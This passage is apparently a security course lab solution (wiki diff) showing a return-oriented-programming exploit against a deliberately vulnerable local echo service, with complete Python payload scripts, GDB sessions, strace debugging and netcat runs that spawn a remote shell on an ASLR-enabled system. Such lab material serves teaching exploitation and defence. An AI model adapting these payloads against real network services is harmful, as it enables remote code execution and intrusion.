-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-The payload creates a padding of ''1040'' characters and then creates the ROP chain as discussed above:<code> +
-$ python payload-aslr.py | xxd +
-00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA +
-[...] +
-00000410: f085 0408 6e8b 0408 0400 0000 0000 0000  ....n........... +
-00000420: f085 0408 6e8b 0408 0400 0000 0100 0000  ....n........... +
-00000430: 0086 0408 6d8b 0408 0400 0000 60a0 0408  ....m.......`... +
-00000440: 0800 0000 7086 0408 0000 0000 60a0 0408  ....p.......`.. +
-</code> +
- +
-==== Testing the ASLR Payload ==== +
- +
-We run the payload on an ASLR-enabled system:<code> +
-$ ldd echo_service +
- linux-gate.so.1 (0xf7733000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000) +
- /lib/ld-linux.so.2 (0xf7736000) +
-$ ldd echo_service +
- linux-gate.so.1 (0xf775b000) +
- libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7577000) +
- /lib/ld-linux.so.2 (0xf775e000) +
-</code> +
- +
-Let's first test the payload by running the server under GDB. We'll break after the ''read()'' overflow and at the end of the ''echo_service()'' function to do checks while running the payload and ''netcat'' on another console:<code> +
---- server side --- +
- +
-$ gdb -q ./echo_service  +
-Reading symbols from ./echo_service...(no debugging symbols found)...done. +
-gdb-peda$ start 7008 +
-[...] +
- +
-gdb-peda$ b echo_service +
-Breakpoint 2 at 0x8048857 +
- +
-gdb-peda$ c +
-[...] +
-Breakpoint 2, 0x08048857 in echo_service () +
- +
-gdb-peda$ pdis +
-Dump of assembler code for function echo_service: +
-   0x0804884e <+0>: push   ebp +
-   0x0804884f <+1>: mov    ebp,esp +
-   0x08048851 <+3>: sub    esp,0x428 +
-=> 0x08048857 <+9>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x0804885f <+17>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048862 <+20>: mov    DWORD PTR [esp],eax +
-   0x08048865 <+23>: call   0x8048630 <dprintf@plt> +
-   0x0804886a <+28>: mov    DWORD PTR [esp+0x4],0x8048bd0 +
-   0x08048872 <+36>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048875 <+39>: mov    DWORD PTR [esp],eax +
-   0x08048878 <+42>: call   0x8048630 <dprintf@plt> +
-   0x0804887d <+47>: mov    DWORD PTR [esp+0x4],0x8048ba0 +
-   0x08048885 <+55>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x08048888 <+58>: mov    DWORD PTR [esp],eax +
-   0x0804888b <+61>: call   0x8048630 <dprintf@plt> +
-   0x08048890 <+66>: mov    DWORD PTR [esp+0x4],0x8048bf0 +
-   0x08048898 <+74>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x0804889b <+77>: mov    DWORD PTR [esp],eax +
-   0x0804889e <+80>: call   0x8048630 <dprintf@plt> +
-   0x080488a3 <+85>: mov    DWORD PTR [esp+0x4],0x8048c30 +
-   0x080488ab <+93>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488ae <+96>: mov    DWORD PTR [esp],eax +
-   0x080488b1 <+99>: call   0x8048630 <dprintf@plt> +
-   0x080488b6 <+104>: mov    DWORD PTR [esp+0x8],0x1000 +
-   0x080488be <+112>: lea    eax,[ebp-0x40c] +
-   0x080488c4 <+118>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488c8 <+122>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488cb <+125>: mov    DWORD PTR [esp],eax +
-   0x080488ce <+128>: call   0x8048600 <read@plt> +
-   0x080488d3 <+133>: mov    DWORD PTR [ebp-0xc],eax +
-   0x080488d6 <+136>: mov    DWORD PTR [esp+0x4],0x8048c7f +
-   0x080488de <+144>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488e1 <+147>: mov    DWORD PTR [esp],eax +
-   0x080488e4 <+150>: call   0x8048630 <dprintf@plt> +
-   0x080488e9 <+155>: mov    eax,DWORD PTR [ebp-0xc] +
-   0x080488ec <+158>: mov    DWORD PTR [esp+0x8],eax +
-   0x080488f0 <+162>: lea    eax,[ebp-0x40c] +
-   0x080488f6 <+168>: mov    DWORD PTR [esp+0x4],eax +
-   0x080488fa <+172>: mov    eax,DWORD PTR [ebp+0x8] +
-   0x080488fd <+175>: mov    DWORD PTR [esp],eax +
-   0x08048900 <+178>: call   0x80486b0 <write@plt> +
-   0x08048905 <+183>: leave   +
-   0x08048906 <+184>: ret     +
-End of assembler dump. +
-gdb-peda$ b *0x080488d3 +
-Breakpoint 3 at 0x80488d3 +
-gdb-peda$ b *0x08048906 +
-Breakpoint 4 at 0x8048906 +
-gdb-peda$ c +
-[...] +
-Breakpoint 3, 0x080488d3 in echo_service () +
-gdb-peda$ c +
-Continuing. +
-[----------------------------------registers-----------------------------------] +
-EAX: 0xffffffff  +
-EBX: 0xf7f9d000 --> 0x1a5da8  +
-ECX: 0xffffffbc  +
-EDX: 0x450  +
-ESI: 0x0  +
-EDI: 0x0  +
-EBP: 0x41414141 ('AAAA'+
-ESP: 0xffffd28c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-EIP: 0x8048906 (<echo_service+184>: ret) +
-EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) +
-[-------------------------------------code-------------------------------------] +
-   0x80488fd <echo_service+175>: mov    DWORD PTR [esp],eax +
-   0x8048900 <echo_service+178>: call   0x80486b0 <write@plt> +
-   0x8048905 <echo_service+183>: leave   +
-=> 0x8048906 <echo_service+184>: ret     +
-   0x8048907 <doprocessing>: push   ebp +
-   0x8048908 <doprocessing+1>: mov    ebp,esp +
-   0x804890a <doprocessing+3>: sub    esp,0x18 +
-   0x804890d <doprocessing+6>: mov    eax,DWORD PTR [ebp+0x8] +
-[------------------------------------stack-------------------------------------] +
-00000xffffd28c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xffffd294 --> 0x4  +
-0012| 0xffffd298 --> 0x0  +
-0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xffffd2a4 --> 0x4  +
-0028| 0xffffd2a8 --> 0x1  +
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
- +
-Breakpoint 4, 0x08048906 in echo_service () +
-gdb-peda$ context stack 16 +
-[------------------------------------stack-------------------------------------] +
-0000| 0xffffd28c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0008| 0xffffd294 --> 0x4  +
-0012| 0xffffd298 --> 0x0  +
-0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>: jmp    DWORD PTR ds:0x804a010) +
-0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop    edi) +
-0024| 0xffffd2a4 --> 0x4  +
-0028| 0xffffd2a8 --> 0x1  +
-0032| 0xffffd2ac --> 0x8048600 (<read@plt>: jmp    DWORD PTR ds:0x804a014) +
-0036| 0xffffd2b0 --> 0x8048b6d (<__libc_csu_init+93>: pop    esi) +
-0040| 0xffffd2b4 --> 0x4  +
-0044| 0xffffd2b8 --> 0x804a060 --> 0x0  +
-0048| 0xffffd2bc --> 0x8  +
-0052| 0xffffd2c0 --> 0x8048670 (<system@plt>: jmp    DWORD PTR ds:0x804a030) +
-0056| 0xffffd2c4 --> 0x0  +
-0060| 0xffffd2c8 --> 0x804a060 --> 0x0  +
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
-gdb-peda$ c +
-Continuing. +
-[New process 2331] +
-process 2331 is executing new program: /bin/dash +
-Warning: +
-Cannot insert breakpoint 3. +
-Cannot access memory at address 0x80488d3 +
-Cannot insert breakpoint 4. +
-Cannot access memory at address 0x8048906 +
- +
---- client side --- +
- +
-$ (python payload-aslr.py; cat) | nc localhost 7008 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-/bin/sh +
-</code> +
-We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK. +
- +
-Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.<code> +
---- server side --- +
-$ ./echo_service 7010 +
- +
---- client side --- +
- +
-$ (python payload-aslr.py; cat) | nc localhost 7010 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-/bin/sh +
-ls +
-echo_service +
-echo_service.c +
-echo_service-rop.txt +
-payload-aslr-alt.py +
-payload-aslr.py +
-payload-no-aslr.py +
-peda-session-echo_service.txt +
-ps +
-  PID TTY          TIME CMD +
- 8153 pts/4    00:00:00 echo_service +
- 8218 pts/4    00:00:00 echo_service +
- 8265 pts/4    00:00:00 sh +
- 8266 pts/4    00:00:00 sh +
- 8337 pts/4    00:00:00 ps +
-18617 pts/4    00:00:00 bash +
-</code> +
- +
-Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP on an ASLR-enabled system +
- +
-As you can see, we rely on the ''read()'' call inside the ''echo_service()'' function to return before we feed the ''%%"/bin/sh"%%'' string into our ROP-induced ''read()'' call. That's why we provide the ''%%"/bin/sh"%%'' string by hand. We could do it into one command sleep by placing a ''sleep'' command before the printing of the payload and the providing of the ''%%"/bin/sh"%%'' string<code> +
-$ (python payload-aslr.py; sleep 2; echo "/bin/sh"; cat) | nc localhost 7010 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-echo_service +
-echo_service.c +
-echo_service-rop.txt +
-payload-aslr-alt.py +
-payload-aslr.py +
-payload-no-aslr.py +
-peda-session-echo_service.txt +
-ps +
-  PID TTY          TIME CMD +
- 9287 pts/4    00:00:00 echo_service +
- 9661 pts/4    00:00:00 echo_service +
- 9695 pts/4    00:00:00 sh +
- 9697 pts/4    00:00:00 sh +
- 9745 pts/4    00:00:00 ps +
-18617 pts/4    00:00:00 bash +
-</code> +
- +
-==== Alternative ASLR Payload and Testing ==== +
- +
-If we wanted to provide the ''%%"/bin/sh"%%'' string in the payload, we would need to update the payload to take care of the fact that the ''read()'' call inside the ''echo_service()'' function expects ''4096'' bytes before returning. We could feed it the entire ''4096'' bytes by adding an extra padding to the payload and then append the ''%%"/bin/sh\0"%%'' string to the payload. The appended string will be read by our ROP-induced ''read()'' call. +
- +
-The updated payload file will be:<file Python payload-aslr-alt.py> +
-#!/usr/bin/env python +
- +
-import sys +
-import struct +
- +
-# 0x8048b6e: pop edi; pop ebp; ret +
-pop_pop_ret = 0x8048b6e +
-# 0x8048b6d: pop esi; pop edi; pop ebp; ret +
-pop_pop_pop_ret = 0x8048b6d +
-# libc : 0xb7f561a9 ("/bin/sh"+
-bin_sh = 0xb7f561a9 +
-# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. +
-system_plt = 0x8048670 +
-# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. +
-dup2_plt = 0x80485f0 +
-# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. +
-read_plt = 0x8048600 +
-#   [24] .data             PROGBITS        0804a060 +
-data = 0x0804a060 +
- +
-# Offset from buffer start to function return address is 1040. +
-payload = 1040*"A" +
- +
-# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard output (1) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) +
- +
-# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): +
-#  * address of dup2() +
-#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) +
-#  * dup2 arguments: sockfd (4) and standard input (0) +
-payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) +
- +
-# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) +
-#  * address of read() +
-#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) +
-#  * read arguments: 4, data address, 8 bytes for /bin/sh\n +
-payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) +
- +
-# Add ROP for system("/bin/sh"+
-#  * address of dup2() +
-#  * return address for system(): we don't care, just use zero +
-#  * system argument: address of "/bin/sh" +
-payload += struct.pack("<III", system_plt, 0, data) +
- +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"A" +
- +
-# Send "/bin/sh\0" string to ROP-infused read() call. +
-payload += "/bin/sh\0" +
- +
-sys.stdout.write(payload) +
-</file> +
- +
-As said we've added additional payload to fill the ''4096'' bytes to complete the ''read()'' call inside the ''echo_service()'' function and then we feed the ''%%"/bin/sh\0"%%'' string. +
- +
-However, the moment we test the program we see it fails:<code> +
---- server side --- +
- +
-$ ./echo_service 7010 +
- +
---- client side --- +
- +
-$ (python payload-aslr-alt.py; cat) | nc localhost 7010 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
- +
---- server side under strace --- +
- +
-$ strace -f -e execve ./echo_service 7011 +
-execve("./echo_service", ["./echo_service", "7011"], [/* 35 vars */]) = 0 +
-[ Process PID=14923 runs in 32 bit mode. ] +
-Process 15032 attached +
-Process 15033 attached +
-[pid 15033] execve("/bin/sh", ["sh", "-c", "/bin/sh"], [/* 344 vars */]) = -1 EFAULT (Bad address) +
-[pid 15033] +++ exited with 127 +++ +
-[pid 15032] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=15033, si_uid=1000, si_status=127, si_utime=0, si_stime=0} --- +
-[pid 15032] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} --- +
-[pid 15032] +++ killed by SIGSEGV +++ +
---- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=15032, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} --- +
- +
-</code> +
- +
-We use ''strace'' for inspection and see that ''execve()'' returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the ''read()'' call, we overwrite the pointer. The solution is to add padding using NUL-bytes (''\0''). In this ways, the environment pointer will be ''NULL'' and the ''execve()'' call will work OK. +
- +
-We update the extra padding line in the payload:<code python> +
-# Fill 4096 bytes to complete read() call. +
-bytes_so_far = len(payload) +
-payload += (4096-bytes_so_far)*"\0" +
-</code> +
- +
-We test the program again and we see it works:<code> +
---- server side --- +
-$ ./echo_service 7010 +
- +
---- client side --- +
- +
-$ (python payload-aslr-alt.py; cat) | nc localhost 7010 +
-============================================== +
-Welcome to the Echo service +
-============================================== +
-For your free trial, we will only echo 1024 bytes back to you +
-If you need more, contact our sales representatives at legit_services@lol.cat +
-ls +
-echo_service +
-echo_service-rop.txt +
-echo_service.c +
-payload-aslr-alt.py +
-payload-aslr.py +
-payload-no-aslr.py +
-peda-session-echo_service.txt +
-ps +
-  PID TTY          TIME CMD +
-16884 pts/4    00:00:00 echo_service +
-16962 pts/4    00:00:00 echo_service +
-16963 pts/4    00:00:00 sh +
-16965 pts/4    00:00:00 sh +
-16995 pts/4    00:00:00 ps +
-18617 pts/4    00:00:00 bash +
-</code> +
-A shell is created through a ROP-based attack. Work complete!+
session/solution/12.1437777383.txt.gz · Last modified: 2015/07/25 01:36 by Razvan Deaconescu